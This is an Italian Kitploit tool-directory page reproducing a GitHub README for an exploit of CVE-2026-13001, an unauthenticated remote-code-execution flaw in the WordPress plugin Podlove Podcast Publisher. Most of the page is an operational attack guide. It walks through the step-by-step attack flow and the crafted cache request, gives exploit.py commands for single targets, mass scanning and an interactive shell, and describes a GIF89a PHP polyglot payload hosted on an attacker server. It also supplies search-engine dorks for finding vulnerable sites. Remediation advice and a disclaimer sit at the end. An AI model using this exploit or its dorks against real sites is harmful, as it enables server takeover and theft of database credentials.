Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-13001 — Exploit per CVE-2026-13001: RCE non autenticata in Podlove Podcast Publisher tramite confusione di estensione. Include scansione di massa, shell interattiva e payload PHP polyglot GIF89a. | Kitploit
Strumenti/GitHubGitHub/ghostpels/cve-2026-13001
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubghostpels/cve-2026-13001

CVE-2026-13001

Exploit per CVE-2026-13001: RCE non autenticata in Podlove Podcast Publisher tramite confusione di estensione. Include scansione di massa, shell interattiva e payload PHP polyglot GIF89a.

Vedi Repository
29 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-13001

Podlove Podcast Publisher <= 4.5.1 — RCE non autenticata tramite confusione di estensione

CVSS 9.8 (Critico) | Caricamento arbitrario di file non autenticato che porta all'esecuzione remota di codice


Panoramica

Vulnerabilità critica nel plugin WordPress Podlove Podcast Publisher (versioni fino alla 4.5.1 inclusa) che consente ad aggressori non autenticati di caricare file PHP arbitrari sul server tramite la funzionalità di cache delle immagini, portando all'esecuzione remota di codice (RCE).

La vulnerabilità sfrutta una discrepanza tra due funzioni interne che analizzano le estensioni dei file in modo diverso:

FunzioneMetodoInput: payload.php?.gifRisultato
is_image()basename() then pathinfo()payload.php?.gif.gif (supera la validazione)
extract_file_extension()parse_url() then pathinfo()/payload.php.php (salvato su disco)

Dettagli della vulnerabilità


Analisi della causa principale

La vulnerabilità esiste perché due funzioni nel plugin Podlove analizzano lo stesso URL ma estraggono estensioni di file diverse:

1. is_image() — Validazione (in lib/helper.php)

root@kitploit:~
// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif"  <- BYPASS!

La funzione controlla:

  • Controllo basato sul contenuto tramite exif_imagetype() - richiede un'intestazione immagine valida (GIF89a)
  • Controllo del tipo di file di WordPress tramite wp_check_filetype_and_ext()
  • Lista nera delle estensioni (php, php3, php4, php5, phtml, phar, ecc.)

Poiché basename() include la stringa di query, l'estensione appare come gif - non nella lista nera.

2. extract_file_extension() — Nomenclatura del file (in lib/model/image.php)

root@kitploit:~
// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"

Il file viene salvato con l'estensione .php sul disco.


Flusso dell'attacco

root@kitploit:~
1. L'aggressore ospita un poliglotta GIF89a PHP su: attacker.com/payload.php
   (Il file inizia con un'intestazione GIF89a ma contiene codice PHP)

2. Lo sfruttamento aggiunge ?.gif all'URL: payload.php?.gif
   Poi codifica in esadecimale l'URL completo

3. Attiva il download della cache:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. Elaborazione del plugin:
   a. Scarica il file dall'URL dell'aggressore
   b. is_image() controlla il contenuto: intestazione GIF89a rilevata - SUPERATO
   c. is_image() controlla l'estensione: basename vede "gif" - SUPERATO
   d. extract_file_extension() usa il percorso di parse_url: ottiene "php"
   e. File salvato come: test_original.php

5. Posizione del file:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. L'aggressore accede al file con i parametri -> RCE ottenuta

Installazione

root@kitploit:~
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Utilizzo

Singolo bersaglio

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

Scansione di massa

root@kitploit:~
python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

Modalità interattiva (accesso diretto al file caricato)

root@kitploit:~
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

Modalità debug

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

Opzioni

root@kitploit:~
-u, --url          URL di un singolo bersaglio
-f, --file         File contenente URL dei bersagli (uno per riga)
-s, --shell        URL che ospita il poliglotta GIF89a PHP
--filename         Nome personalizzato per il file in cache (predefinito: shell)
--shell-url        URL diretto per la modalità interattiva
-o, --output       File di output per i bersagli vulnerabili (modalità batch)
-t, --threads      Numero di thread (predefinito: 10)
-v, --verbose      Output verboso
--debug            Output di debug (mostra tutte le richieste HTTP)
--no-payload-test  Salta il test di accessibilità del payload

Payload: Poliglotta GIF89a PHP

Il file shell_polyglot.gif.php è un file poliglotta valido sia come immagine GIF che come PHP:

root@kitploit:~
GIF89a        <- Intestazione GIF valida (supera il controllo exif_imagetype)
/*            <- Inizio del commento (i dati binari GIF sono commentati per PHP)

<?php         <- Il codice PHP inizia qui
// ... code ...
?>

Importante: Il poliglotta deve essere ospitato come file statico (ad es., Cloudflare R2, AWS S3, nginx senza PHP). Se il server di hosting elabora PHP, il codice viene eseguito sul server di hosting invece di essere consegnato come contenuto grezzo al bersaglio.


FOFA / Shodan / ZoomEye

root@kitploit:~
# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"

Impatto

Uno sfruttamento riuscito produce esecuzione remota di codice come utente del server web:

  • Estrarre le credenziali del database da wp-config.php
  • Accedere a tutti gli utenti, i post e i dati dei plugin di WordPress
  • Distribuire meccanismi di accesso persistenti
  • Spostarsi verso reti interne
  • Compromissione totale del server

Rimedio

  1. Aggiornare a Podlove Podcast Publisher 4.5.2 o successivo
  2. Eliminare il contenuto della directory wp-content/cache/podlove/
  3. Verificare la presenza di file PHP sconosciuti nelle directory della cache
  4. Monitorare i log di accesso per richieste sospette di podlove_image_cache_url

Relazione con CVE-2025-10147

Questa vulnerabilità è un bypass della correzione per CVE-2025-10147 (Podlove <= 4.2.6).

AspettoCVE-2025-10147 (v4.2.6)CVE-2026-13001 (v4.5.1)

Vedi analysis/CVE_COMPARISON.md per un confronto dettagliato.


Riferimenti

  • Avviso Wordfence
  • Commit di correzione su GitHub
  • Pagina del plugin WordPress
  • Voce NVD

Dichiarazione di esclusione di responsabilità

SOLO A SCOPO EDUCATIVO E DI TEST AUTORIZZATI.

Questo strumento è destinato a ricercatori di sicurezza e penetration tester che dispongono di autorizzazione scritta esplicita per testare i sistemi target. L'accesso non autorizzato ai sistemi informatici è illegale. Gli autori non si assumono alcuna responsabilità per l'uso improprio di questo strumento.


Autore

ghostpel-sec — Ricerca sulla sicurezza e sviluppo di exploit

Licenza

Questo progetto è concesso in licenza secondo la ghostpel-sec Security Research License.

Scarica lo strumento
CampoValore
CVE IDCVE-2026-13001
CVSS9.8 (Critico)
CWECWE-20 (Validazione dell'input impropria)
PluginPodlove Podcast Publisher
AffettiVersioni fino alla 4.5.1 incluse
Corretto4.5.2
TipoCaricamento arbitrario di file non autenticato a RCE
RicercatoreTalal Nasraddeen (tramite Wordfence)
Pubblicato14 luglio 2026
Causa principaleNessuna validazione del tipo di fileBypass della validazione tramite confusione di estensione
TecnicaCaricamento diretto di file PHPPoliglotta GIF89a + trucco dell'URL query
Correzione applicataAggiunta is_image() con lista neraRiparata la coerenza dell'analisi delle estensioni